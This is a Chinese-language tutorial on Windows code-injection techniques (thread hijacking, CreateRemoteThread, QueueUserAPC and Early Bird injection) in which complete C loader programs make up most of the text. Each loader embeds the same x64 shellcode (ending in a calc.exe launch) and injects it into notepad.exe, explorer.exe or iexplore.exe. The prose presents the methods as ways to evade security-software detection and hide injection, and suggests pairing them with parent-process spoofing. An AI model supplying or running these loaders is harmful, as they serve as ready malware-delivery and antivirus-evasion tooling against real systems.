线程劫持
线程劫持是一种无需创建新线程就可以执行负载的技术。
它通过挂起线程并修改其寄存器,使寄存器指向内存中存储的有效载荷的起始地址。当线程恢复执行时,就会从这个新地址开始执行,从而运行有效载荷。
线程上下文
我们需要先了解“线程上下文”这一概念。每个线程都有一个调度优先级,并且系统会保存一组结构到线程上下文中。线程上下文包含了线程恢复执行所需的所有信息,包括线程的CPU寄存器和堆栈集合。
Windows 提供了两个 API 函数来处理线程上下文:
GetThreadContext
:用于检索线程的上下文信息。
SetThreadContext
:用于设置线程的上下文信息。
GetThreadContext
函数会返回一个包含线程所有信息的CONTEXT
结构体。而 SetThreadContext
函数则会将一个填充好的CONTEXT
结构体设置到指定的线程上。
为什么选择劫持现有的线程而不是创建一个新的线程来执行有效载荷呢?
创建新线程:
如果通过创建一个新线程来执行有效载荷,那么这个新线程的入口点必须指向有效载荷在内存中的基地址。这样做会暴露有效载荷的基地址,从而让安全软件更容易检测到有效载荷的内容。
劫持现有线程:
相比之下,劫持现有线程时,线程的入口点仍然指向一个正常的流程函数。即使安全软件监控线程的活动,也不会轻易发现异常,因为线程看起来仍然是良性的。通过这种方式,有效载荷可以在不引起怀疑的情况下被执行。
再探Create Thread
CreateThread
函数的第三个参数LPTHREAD_START_ROUTINE lpStartAddress
指定了线程的入口地址。如果使用线程创建,lpStartAddress
会直接指向有效载荷的地址。另一方面,线程劫持会将入口地址指向一个正常的功能。
1 2 3 4 5 6 7 8 HANDLE CreateThread ( [in, optional] LPSECURITY_ATTRIBUTES lpThreadAttributes, [in] SIZE_T dwStackSize, [in] LPTHREAD_START_ROUTINE lpStartAddress, [in, optional] __drv_aliasesMem LPVOID lpParameter, [in] DWORD dwCreationFlags, [out, optional] LPDWORD lpThreadId ) ;
创建线程:使用CreateThread
函数创建一个新线程,并设置一个正常函数作为线程的入口点。保存创建的线程句柄,以便后续操作。
暂停线程:使用SuspendThread
函数将新创建的线程暂停,使其处于停止状态。
获取线程上下文:使用GetThreadContext
函数获取线程的上下文信息,特别是RIP
(64位)或 EIP
(32位)寄存器的值。
修改线程上下文:修改RIP
或EIP
寄存器的值,使其指向有效载荷的起始地址。使用SetThreadContext
函数将修改后的上下文信息设置回线程。
恢复线程:使用ResumeThread
函数恢复线程的执行,此时线程将从修改后的入口点开始执行,即执行有效载荷。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 #include <windows.h> #include <stdio.h> void Test () { int a = 1 ; int b = a + 10 ; } BOOL RunViaClassicThreadHijacking (IN HANDLE hThread, IN PBYTE pPayload, IN SIZE_T sPayloadSize) { PVOID pAddress = NULL ; DWORD dwOldProtection = 0 ; CONTEXT ThreadCtx; ThreadCtx.ContextFlags = CONTEXT_FULL; pAddress = VirtualAlloc(NULL , sPayloadSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); if (pAddress == NULL ) { printf ("[!] VirtualAlloc 失败,错误码: %d \n" , GetLastError()); return FALSE; } memcpy (pAddress, pPayload, sPayloadSize); if (!VirtualProtect(pAddress, sPayloadSize, PAGE_EXECUTE_READWRITE, &dwOldProtection)) { printf ("[!] VirtualProtect 失败,错误码: %d \n" , GetLastError()); return FALSE; } if (!GetThreadContext(hThread, &ThreadCtx)) { printf ("[!] GetThreadContext 失败,错误码: %d \n" , GetLastError()); return FALSE; } #ifdef _WIN64 ThreadCtx.Rip = (DWORD64)pAddress; #else ThreadCtx.Eip = (DWORD)pAddress; #endif if (!SetThreadContext(hThread, &ThreadCtx)) { printf ("[!] SetThreadContext 失败,错误码: %d \n" , GetLastError()); return FALSE; } return TRUE; } int main () { HANDLE hThread = CreateThread(NULL , 0 , (LPTHREAD_START_ROUTINE)Test, NULL , CREATE_SUSPENDED, NULL ); if (hThread == NULL ) { printf ("创建线程失败。\n" ); return 1 ; } unsigned char buf[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00" ; SIZE_T sPayloadSize = sizeof (buf); if (!RunViaClassicThreadHijacking(hThread, buf, sPayloadSize)) { printf ("线程劫持失败。\n" ); CloseHandle(hThread); return 1 ; } if (ResumeThread(hThread) == (DWORD)-1 ) { printf ("恢复线程失败。\n" ); CloseHandle(hThread); return 1 ; } WaitForSingleObject(hThread, INFINITE); CloseHandle(hThread); return 0 ; }
远程线程注入-CreateRemoteThread 什么是进程
进程是当前在Windows中运行的软件程序。每个进程都有一个ID,一个标识它的编号。线程 是一个标识程序哪个部分正在运行的对象。
注入进程的步骤
打开目标进程的句柄
在目标进程中分配内存
将Shellcode写入分配的内存
创建远程线程以执行代码
关闭目标进程的句柄
代码 打开目标进程 首先,我们需要打开具有必要权限的目标进程
1 2 3 4 5 6 7 HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, PID); if (hProcess == NULL ) { wprintf(L"[ERROR] 无法打开进程[%d]\n" , GetLastError()); return 1 ; } printf ("[+] 进程打开成功!\n" );
PROCESS_ALL_ACCESS
:进程对象的所有可能的访问权限
FALSE
: 句柄不可继承
pid
: 目标进程的进程ID,例如notepad.exe
进程的句柄存储在hProcess
为ShellCode分配内存 1 2 3 4 5 6 7 8 LPVOID pAddress = VirtualAllocEx(hProcess, NULL , sizeof (shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); if (pAddress == NULL ) { wprintf(L"[ERROR] 无法分配远程内存 [%d]\n" , GetLastError()); CloseHandle(hProcess); return 100 ; } printf ("[+] 内存分配成功!\n" );
hProcess
:我们想要分配内存的进程句柄
NULL
: 为要分配的页面区域指定所需起始地址的指针
sizeof(shellcode)
: 要分配的内存区域的大小(以字节为单位)
MEM_COMMIT | MEM_RESERVE
: 内存分配的类型
PAGE_EXECUTE_READWRITE
: 启用执行、读取和写入访问
分配的内存地址存储在pAddress中
将ShellCode写入内存 1 2 3 4 5 6 7 8 if (WriteProcessMemory(hProcess, pAddress, shellcode, sizeof (shellcode), NULL ) == 0 ) { wprintf(L"[ERROR] 无法写入远程内存 [%d]\n" , GetLastError()); VirtualFreeEx(hProcess, pAddress, 0 , MEM_RELEASE); CloseHandle(hProcess); return 101 ; } printf ("[+] Shellcode已成功写入内存!\n" );
hProcess
:要修改的进程内存的句柄。 句柄必须具有对进程的PROCESS_VM_WRITE和PROCESS_VM_OPERATION访问权限
pAddress
: 指向将数据写入到的指定进程中基址的指针。 在进行数据传输之前,系统会验证指定大小的基址和内存中的所有数据是否可供写入访问,如果无法访问,则函数将失败
shellcode
: 要写入的数据(shellcode)
sizeof(shellcode)
: 要写入指定进程的字节数
NULL
: 指向变量的指针,该变量接收传输到指定进程的字节数。 此参数是可选的。 如果 lpNumberOfBytesWritten为NULL,则忽略参数
如果函数成功,返回值为非零
创建一个远程线程来执行ShellCode 1 2 3 4 5 6 7 8 9 HANDLE hThread = CreateRemoteThread(hProcess, NULL , 0 , (LPTHREAD_START_ROUTINE)pAddress, NULL , 0 , NULL ); if (hThread == NULL ) { wprintf(L"[ERROR] 无法创建远程线程 [%d]\n" , GetLastError()); VirtualFreeEx(hProcess, pAddress, 0 , MEM_RELEASE); CloseHandle(hProcess); return 102 ; } printf ("[+] 远程线程已成功创建!\n" );
hProcess
: 要在其中创建线程的进程句柄。 句柄必须具有PROCESS_CREATE_THREAD
、 PROCESS_QUERY_INFORMATION
、PROCESS_VM_OPERATION
、PROCESS_VM_WRITE
和 PROCESS_VM_READ
访问权限,并且在某些平台上没有这些权限可能会失败
NULL
: 默认安全描述符
0
: 新线程使用可执行文件的默认大小
(LPTHREAD_START_ROUTINE)pAddress
: 线程将从这个地址开始执行
返回值将存储在hThread
变量中
等待远程线程完成执行,然后进行清理 1 2 3 4 5 6 7 WaitForSingleObject(hThread, INFINITE); CloseHandle(hThread); VirtualFreeEx(hProcess, pAddress, 0 , MEM_RELEASE); CloseHandle(hProcess);
等待执行完成,然后关闭HANDLE
并释放分配的内存并结束进程注入程序。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 #include <windows.h> #include <TlHelp32.h> int main () { unsigned char buf[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00" ; const wchar_t * notepadProcessName = L"notepad.exe" ; HANDLE hSnapshot = CreateToolhelp32Snapshot (TH32CS_SNAPPROCESS, 0 ); if (hSnapshot != INVALID_HANDLE_VALUE) { PROCESSENTRY32 processEntry = { sizeof (PROCESSENTRY32) }; if (Process32First (hSnapshot, &processEntry)) { do { if (_wcsicmp(processEntry.szExeFile, notepadProcessName) == 0 ) { HANDLE hProcess = OpenProcess (PROCESS_ALL_ACCESS, FALSE, processEntry.th32ProcessID); if (hProcess != NULL ) { LPVOID pRemoteMemory = VirtualAllocEx (hProcess, NULL , sizeof (buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE); if (pRemoteMemory != NULL ) { WriteProcessMemory (hProcess, pRemoteMemory, buf, sizeof (buf), NULL ); HANDLE hThread = CreateRemoteThread (hProcess, NULL , 0 , (LPTHREAD_START_ROUTINE)pRemoteMemory, NULL , 0 , NULL ); if (hThread != NULL ) { WaitForSingleObject (hThread, INFINITE); CloseHandle (hThread); VirtualFreeEx (hProcess, pRemoteMemory, 0 , MEM_RELEASE); } } CloseHandle (hProcess); } } } while (Process32Next (hSnapshot, &processEntry)); } CloseHandle (hSnapshot); } return 0 ; }
APC注入-QueueUserAPC 什么是APC
Asyncroneus Procedure Call-异步过程调用:
在一个特定的线程的上下文中以异步方式执行的功能.当APC排队到线程中时,系统会发出软件中断.下次调度线程时,他将运行APC功能。
系统生成的APC称为内核模式APC。由应用程序生成的APC称为用户模式APC
线程必须处于可警报状态才能运行用户模式APC
每个线程都有自己的APC队列.应用程序通过调用QueueUserAPC函数将APC排队到线程中.调用线程对QueueUserAPC的调用中指定APC函数的地址。APC的排队是对线程调用APC函数的请求.
什么是APC注入? 由于在线程执行过程中,其他线程无法干预当前执行线程(占CPU),如果需要干预当前执行线程的操作,就需要一种让线程自身去调用的机制,Windows实现了一种称之为APC的技术,这种技术可以通过插入队列(执行信息)让线程在一定条件下自己去调用,这样就实现了异步操作.
什么是APC队列? 要将 APC 函数排队到线程,必须将 APC 函数的地址传递给QueueUserAPC WinAPI。根据Microsoft 的⽂档:
应⽤程序通过调⽤QueueUserAPC
函数将APC排队到线程.调⽤线程在对QueueUserAPC
的调⽤中指定APC函数的地址。
注入有效载荷的步骤
创建目标线程 :
创建一个新线程,或者找到一个已经存在的线程。
确保线程处于可警告状态。
将有效载荷排队到APC队列 :
使用 QueueUserAPC
函数将有效载荷函数排队到目标线程的APC队列中。
使线程进入可警告状态 :
使目标线程调用一个可警告的等待函数,如 SleepEx
、SignalObjectAndWait
、MsgWaitForMultipleObjectsEx
、WaitForMultipleObjectsEx
或 WaitForSingleObjectEx
。
执行APC :
当线程进入可警告状态时,系统会检查APC队列并执行排队的APC函数。
QueueUserAPC 1 2 3 4 5 DWORD QueueUserAPC ( [in] PAPCFUNC pfnAPC, [in] HANDLE hThread, [in] ULONG_PTR dwData ) ;
pfnAPC
: 要调⽤的APC函数的地址
hThread
: 可警告线程或挂起线程的句柄
dwData
: 传递给pfnAPC
参数指向的APC函数的单个值。
将线程置于可警告状态 执⾏排队函数的线程需要处于可警告状态。这可以通过创建线程并使⽤以下 WinAPI 之⼀来实现:
这些函数用于同步线程并提高应用程序的性能和响应能力。在这种情况下,只需将一个虚拟事件的句柄传递给这些函数之一,即可将线程置于可警告状态。无需将正确的参数传递给这些函数,因为任何有效的事件句柄都可以达到目的。
要创建虚拟事件,可以使用 CreateEvent
WinAPI。新创建的事件对象是一个同步对象,允许线程通过发信号和等待事件来相互通信。由于 CreateEvent
的输出在此场景中无关紧要,因此可以传递任何有效的事件句柄给前面提到的 WinAPI 函数。
示例 Sleep 1 2 3 VOID AlertableFunction1 () { Sleep(-1 ); }
SleepEx 1 2 3 VOID AlertableFunction2 () { SleepEx(INFINITE, TRUE); }
WaitForSingleObject 1 2 3 4 5 6 7 VOID AlertableFunction3 () { HANDLE hEvent = CreateEvent(NULL , NULL , NULL , NULL ); if (hEvent){ WaitForSingleObject(hEvent, INFINITE); CloseHandle(hEvent); } }
1 2 3 4 5 6 7 VOID AlertableFunction4 () { HANDLE hEvent = CreateEvent(NULL , NULL , NULL , NULL ); if (hEvent) { MsgWaitForMultipleObjects(1 , &hEvent, TRUE, INFINITE, QS_INPUT); CloseHandle(hEvent); } }
SignalObjectAndWait 1 2 3 4 5 6 7 8 9 VOID AlertableFunction5 () { HANDLE hEvent1 = CreateEvent(NULL , NULL , NULL , NULL ); HANDLE hEvent2 = CreateEvent(NULL , NULL , NULL , NULL ); if (hEvent1 && hEvent2) { SignalObjectAndWait(hEvent1, hEvent2, INFINITE, TRUE); CloseHandle(hEvent1); CloseHandle(hEvent2); } }
暂停线程 QueueUserAPC
函数可以在目标线程处于挂起状态时成功使用。如果使用这种方法来执行有效载荷,应首先调用 QueueUserAPC
,然后再恢复挂起的线程。需要注意的是,线程必须在挂起状态下创建,挂起现有线程将不起作用。
如何实现APC注入 获取Explorer进程下的每个线程,将shellcode通过APC注入到每个线程中
创建快照 : 使用 CreateToolhelp32Snapshot
获取系统中所有进程和线程的快照。
查找目标进程 : 枚举进程,查找名为 explorer.exe
的进程。
打开目标进程 : 使用 OpenProcess
获取目标进程的句柄,以便后续操作。
分配内存 : 在目标进程中分配一块可执行和可写的内存,用于存储 shellcode。
写入内存 : 使用 WriteProcessMemory
将 shellcode 写入目标进程的分配内存中。
枚举目标线程 : 枚举所有线程,查找属于目标进程的线程,并记录线程 ID。
注入 APC : 对每个目标进程线程,使用 QueueUserAPC
将 shellcode 的地址作为 APC 函数队列到线程中。APC 会在线程进入警报式等待状态时执行。
清理资源 : 关闭目标进程和快照的句柄。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 #include <windows.h> #include <tlhelp32.h> #include <stdio.h> #include <malloc.h> int main () { unsigned char buf[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00" ; HANDLE snapshot = CreateToolhelp32Snapshot (TH32CS_SNAPPROCESS | TH32CS_SNAPTHREAD, 0 ); HANDLE victimProcess = NULL ; PROCESSENTRY32 processEntry = { sizeof (PROCESSENTRY32) }; THREADENTRY32 threadEntry = { sizeof (THREADENTRY32) }; DWORD* threadIds = NULL ; size_t threadCount = 0 ; SIZE_T shellSize = sizeof (buf); HANDLE threadHandle = NULL ; if (Process32First (snapshot, &processEntry)) { while (_wcsicmp(processEntry.szExeFile, L"explorer.exe" ) != 0 ) { if (!Process32Next (snapshot, &processEntry)) { printf ("无法找到目标进程。\n" ); CloseHandle (snapshot); return 1 ; } } } victimProcess = OpenProcess (PROCESS_ALL_ACCESS, 0 , processEntry.th32ProcessID); if (!victimProcess) { printf ("无法打开目标进程。\n" ); CloseHandle (snapshot); return 1 ; } LPVOID shellAddress = VirtualAllocEx (victimProcess, NULL , shellSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE); if (!shellAddress) { printf ("无法分配内存。\n" ); CloseHandle (victimProcess); CloseHandle (snapshot); return 1 ; } if (!WriteProcessMemory (victimProcess, shellAddress, buf, shellSize, NULL )) { printf ("写入内存失败。\n" ); VirtualFreeEx (victimProcess, shellAddress, 0 , MEM_RELEASE); CloseHandle (victimProcess); CloseHandle (snapshot); return 1 ; } PTHREAD_START_ROUTINE apcRoutine = (PTHREAD_START_ROUTINE)shellAddress; if (Thread32First (snapshot, &threadEntry)) { do { if (threadEntry.th32OwnerProcessID == processEntry.th32ProcessID) { DWORD* temp = (DWORD*)realloc (threadIds, (threadCount + 1 ) * sizeof (DWORD)); if (!temp) { printf ("内存分配失败。\n" ); free (threadIds); VirtualFreeEx (victimProcess, shellAddress, 0 , MEM_RELEASE); CloseHandle (victimProcess); CloseHandle (snapshot); return 1 ; } threadIds = temp; threadIds[threadCount++] = threadEntry.th32ThreadID; } } while (Thread32Next (snapshot, &threadEntry)); } for (size_t i = 0 ; i < threadCount; ++i) { threadHandle = OpenThread (THREAD_ALL_ACCESS, TRUE, threadIds[i]); if (threadHandle) { QueueUserAPC ((PAPCFUNC)apcRoutine, threadHandle, NULL ); Sleep (1000 * 2 ); CloseHandle (threadHandle); } } free (threadIds); CloseHandle (victimProcess); CloseHandle (snapshot); return 0 ; }
拉起notepad,然后通过APC注入将shellcode注入到notepad线程中
创建进程 : 使用 CreateProcessA
启动一个新的应用程序实例(记事本),并将其置于挂起状态以便可以在执行之前修改其内存。
内存分配 : 使用 VirtualAllocEx
在目标进程中分配一块内存区域,这块区域被标记为可执行和可写,以便能够存储和执行 shellcode。
写入内存 : WriteProcessMemory
将 shellcode 写入目标进程的内存空间中,以便后续可以通过 APC 调用执行。
APC 注入 : 使用 QueueUserAPC
将 shellcode 的地址作为一个 APC(异步过程调用)例程添加到进程的主线程中。当线程进入警报式等待状态时,APC 将被执行。
恢复线程 : ResumeThread
恢复挂起的线程状态,使其继续执行。由于 APC 已经被队列化,当线程恢复运行时,APC 将被调用执行。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 #include <Windows.h> int main () { LPCSTR lpApplication = "C:\\Windows\\System32\\notepad.exe" ; unsigned char buf[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00" ; SIZE_T buff = sizeof (buf); STARTUPINFOA sInfo = { 0 }; PROCESS_INFORMATION pInfo = { 0 }; CreateProcessA (lpApplication, NULL , NULL , NULL , FALSE, CREATE_SUSPENDED, NULL , NULL , &sInfo, &pInfo); HANDLE hProc = pInfo.hProcess; HANDLE hThread = pInfo.hThread; LPVOID lpvShellAddress = VirtualAllocEx (hProc, NULL , buff, MEM_COMMIT, PAGE_EXECUTE_READWRITE); PTHREAD_START_ROUTINE ptApcRoutine = (PTHREAD_START_ROUTINE)lpvShellAddress; WriteProcessMemory (hProc, lpvShellAddress, buf, buff, NULL ); QueueUserAPC ((PAPCFUNC)ptApcRoutine, hThread, NULL ); ResumeThread (hThread); return 0 ; }
高级APC注入-Early Bird注入 什么是Early Bird注入?
Early Bird本质上是一种APC注入与线程劫持的变体
Early Bird注入通常指的是在目标进程的main函数之前执行注入 这样做可以确保shellcode在程序开始执行之前被执行,从而隐藏注入行为.
原因在用于线程初始化时会调用ntdll未导出函数NtTestAlert,该函数会清空并处理APC队列,所以注入的代码通常在进程的主线程的入口点之前运行并接管进程控制权.从而避免了反恶意软件产品的钩子的检测,同时获得一个合法进程的环境信息.
新建一个进程,在进程的主线程初始化前进行APC注入 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 #include <stdio.h> #include <Windows.h> int main () { unsigned char buf[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00" ; STARTUPINFO si = { 0 }; PROCESS_INFORMATION pi = { 0 }; si.cb = sizeof (STARTUPINFO); CreateProcessA ("C:\\Program Files\\internet explorer\\iexplore.exe" , NULL , NULL , NULL , TRUE, CREATE_SUSPENDED | CREATE_NO_WINDOW, NULL , NULL , (LPSTARTUPINFOA)&si, (LPPROCESS_INFORMATION)&pi); LPVOID lpBaseAddress = (LPVOID)VirtualAllocEx (pi.hProcess, NULL , 0x1000 , MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); WriteProcessMemory (pi.hProcess, lpBaseAddress, (LPVOID)buf, sizeof (buf), NULL ); QueueUserAPC ((PAPCFUNC)lpBaseAddress, pi.hThread, NULL ); ResumeThread (pi.hThread); CloseHandle (pi.hThread); }
可配合父进程伪造、当前目录伪造
